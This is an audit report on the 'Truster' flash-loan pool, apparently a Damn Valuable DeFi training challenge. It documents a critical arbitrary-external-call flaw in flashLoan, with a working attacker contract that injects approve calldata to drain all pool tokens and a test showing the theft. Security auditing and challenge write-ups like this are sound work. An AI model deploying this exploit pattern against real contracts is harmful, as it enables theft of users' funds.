Truster Audit Report

Prepared by Ahmad Faraz

Auditing Protocol: `Truster`

Date: August 01, 2025

Contents

1 Disclaimer

I, Ahmad Faraz, make every effort to understand the protocol and identify vulnerabilities within the given timeframe but holds no responsibility for missed issues. This audit is not an endorsement of the protocol's business logic or product and focuses solely on Solidity level vulnerabilities.

2 Risk Classification

2.1 Impact Table

Likelihood	**Critical**	**High**	**Medium**	**Low**
Critical	Critical	Critical	High	Medium
High	Critical	High	High/Medium	Medium
Medium	High	High/Medium	Medium	Medium/Low
Low	Medium	Medium	Medium/Low	Low

3 Audit Details

3.1 Scope

The audit covered the following files:

- `./src/`
- `DamnValuableToken.sol`
- `TrustLenderPool.sol`

4 Protocol Summary

`TrustLenderPool` protocol is offering flash loans. In this case, pool has launched offering flash loans of DVT tokens for free. The pool holds 1 million DVT tokens.

4.1 Roles

- **TrusterLenderPool:** Provides flash loans of DVT tokens.

5 Executive Summary

The `Truster` smart contracts protocol audited by Ahmad Faraz. The audit identified 1 issue in total, classified as follows.

Severity Level	**Issue Count**
Critical	1
Total	**1**

6 Findings

6.1 Critical Severity

6.1.1 [C-1] Arbitrary External Call Injection TrusterLenderPool::flashLoan

- **Description:** The TrusterLenderPool protocol provides flash loans to anyone. A malicious user can exploit the target.functionCall(data) by passing a crafted calldata that invokes the approve function of the DVT token. This allows the attacker to approve themselves to spend all tokens held by the pool and subsequently drain the entire balance.

```
function flashLoan(uint256 amount, address borrower, address target
   , bytes calldata data) external nonReentrant returns (bool) {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);

@>      target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore) {
            revert RepayFailed();
        }

        return true;
    }
```

- **Impact:** All funds held by TrustLenderPool are lost.

  Attacker Contract:

```
{DamnValuableToken} from "../src/DamnValuableToken.sol";
contract Target {

    DamnValuableToken public token;
    TrusterLenderPool public pool;

    address public attacker;

    constructor( DamnValuableToken _token, TrusterLenderPool _pool,
         address _attacker
    ) {
        token = _token;
        pool = _pool;
        attacker = _attacker;
    }

    function attack() external {
     // 1 million DVTs
     uint256 poolBalance = token.balanceOf(address(pool));

      pool.flashLoan(
      0,
      address(this),
      address(token),
@>    abi.encodeWithSelector(token.approve.selector,address(this),
   poolBalance)
        );

        // Drain the funds
        token.transferFrom(address(pool), attacker, poolBalance);
    }
}
```

- **Cause:** A malicious user takes advantage of the external call and crafts calldata that, under the hood, approves all the tokens held by the `TrusterLenderPool`.
- **Recommended Mitigation:** Restrict which contract addresses and function selectors can be called via the `target.functionCall(data)` pattern. Avoid allowing arbitrary low-level external calls based on user input. Consider removing this flexibility entirely if not strictly necessary.
- **Proof of Concept:**
  1. Attacker passes malicious calldata.
  2. The calldata contains the approve selector, granting the attacker permission to spend all of the pool's tokens.
  3. Calls the `flashLoan` function with `amount = 0` to bypass the repayment check..
  4. Executes `transferFrom` to drain all tokens from the pool.
  5. Pool loses all funds.

  Run the code in TrusterLenderPool.t.sol:

```
function testStealAllPoolFunds() public {
  console2.log( "Pool balance before : ", token.balanceOf(address(
     trusterLenderPool))); // 1000000000000000000000000
  console2.log( "Attacker balance before : ", token.balanceOf(
     target.attacker())); // 0

  target.attack(); // attack

  console2.log("Pool balance After : ", token.balanceOf(address(
     trusterLenderPool))); // 0
  console2.log("Target balance After : ", token.balanceOf(target.
     attacker())); // 1000000000000000000000000
    }
```